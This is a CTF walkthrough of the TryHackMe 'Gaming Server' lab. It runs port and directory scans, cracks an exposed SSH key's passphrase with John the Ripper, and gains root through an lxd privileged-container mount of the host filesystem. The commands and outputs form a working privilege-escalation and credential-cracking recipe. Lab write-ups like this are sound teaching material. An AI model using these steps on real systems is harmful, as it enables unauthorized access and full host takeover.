TryHackMe Gaming Server Walkthrough
Network Enumeration
I started the network enumeration by running a port scan using nmap looking for open ports and running services.
┌──(madhav㉿kali)-[~/ctf/thm/gamingServer]
└─$ nmap -sC -sV -oN nmap/initial 10.10.43.13
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-07 22:58 IST
Nmap scan report for 10.10.43.13
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 340efe0612673ea4ebab7ac4816dfea9 (RSA)
| 256 49611ef4526e7b2998db302d16edf48b (ECDSA)
|_ 256 b860c45bb7b2d023a0c756595c631ec4 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: House of danak
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.79 seconds
There are only two ports open. We have SSH running on port 22 and Apache httpd web server running on port 80. Let's start the enumeration with port 80 first.
Web Enumeration
On visiting the IP address in our web browser, we get a website which contains some default lorem ipsum text. Let us check the source code of this website.
We get a potential username john
. Next we can run a gobuster scan to look for hidden files and directories.
┌──(madhav㉿kali)-[~/ctf/thm/gamingServer]
└─$ gobuster dir -u http://10.10.43.13 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php,.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.43.13
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
2023/01/07 23:00:15 Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 276]
/index.html (Status: 200) [Size: 2762]
/.php (Status: 403) [Size: 276]
/about.html (Status: 200) [Size: 1435]
/about.php (Status: 200) [Size: 2213]
/uploads (Status: 301) [Size: 312] [--> http://10.10.43.13/uploads/]
/robots.txt (Status: 200) [Size: 33]
/secret (Status: 301) [Size: 311] [--> http://10.10.43.13/secret/]
/myths.html (Status: 200) [Size: 3067]
===============================================================
2023/01/07 23:10:33 Finished
===============================================================
The gobuster scan gives us so many files. Let's check them one by one.
In the /secret
directory, we have a file named secretKey
which contains a private key. We have SSH installed on the target machine. This could be the private SSH key of user john
.
I tried logging in via SSH but the private key is password protected.
We also have a /uploads
which contains some interesting files.
Of course we need to check the meme.jpg
first :D
We also have a "The Hacker Manifesto" which looks pretty neat!
There is another file named dict.lst
which looks like a wordlist. Let's download this to our system. We can use this wordlist to crack the private key!
User Shell
We can use John the Ripper tool to crack the password for the private key of user john
.
We need to convert the secretKey
into a format that John can understand.We will be using ssh2john.py
for this.
I'll save the output in hash.txt
and then we can crack the password with the wordlist we found using John the Ripper.
┌──(madhav㉿kali)-[~/ctf/thm/gamingServer]
└─$ ssh2john secretKey > hash.txt
┌──(madhav㉿kali)-[~/ctf/thm/gamingServer]
└─$ john --wordlist=dict.lst hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein (secretKey)
1g 0:00:00:00 DONE (2023-01-07 23:38) 100.0g/s 22200p/s 22200c/s 22200C/s letmein..starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We got the password for the private key. Now we can login via SSH and read the user flag!
Root Shell
We have a shell as user john
and now we need to find a way to escalate our privileges to root.
If we use the id
command, we can see that the user john
is a part of the lxd
group.
john@exploitable:~$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
LXD is a lightweight container hypervisor which allows to run linux containers. If a member is part of the lxd
group, it can escalate its privileges to user root
irrespective of the fact that it has sudo permissions or not.
I found this guide related to lxd
privilege escalation. We need to build an alpine
image and then we can mount the /root
directory of the target machine to the /mnt
directory of a lxd
container.
First we need to build the image in our own machine:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
This will create a .tar.gz
compressed image similar to this:
Next we need to copy the compressed file to the target machine and then import the image using lxc
.
john@exploitable:~$ lxc image import ./alpine-* --alias myimage
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
john@exploitable:~$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
| myimage | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | 3.11MB | Jan 7, 2023 at 6:10pm (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
john@exploitable:~$ lxc init myimage image -c security.privileged=true
Creating image
john@exploitable:~$ lxc config device add image mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to image
john@exploitable:~$ lxc start image
Our container has been created. Now we can simply start the container and read our final flag in the /mnt/root/root
directory!
john@exploitable:~$ lxc exec image /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # cd /mnt/root/root/
/mnt/root/root # cat root.txt
********************************
That's it! Thanks for reading. If you have any doubts/suggestions, you can share them below in the comments, I will be happy to help!
Stay tuned for similar walkthroughs and much more coming up in the near future!
NOTE: The awesome artwork used in this article was created by Daniel Mackey.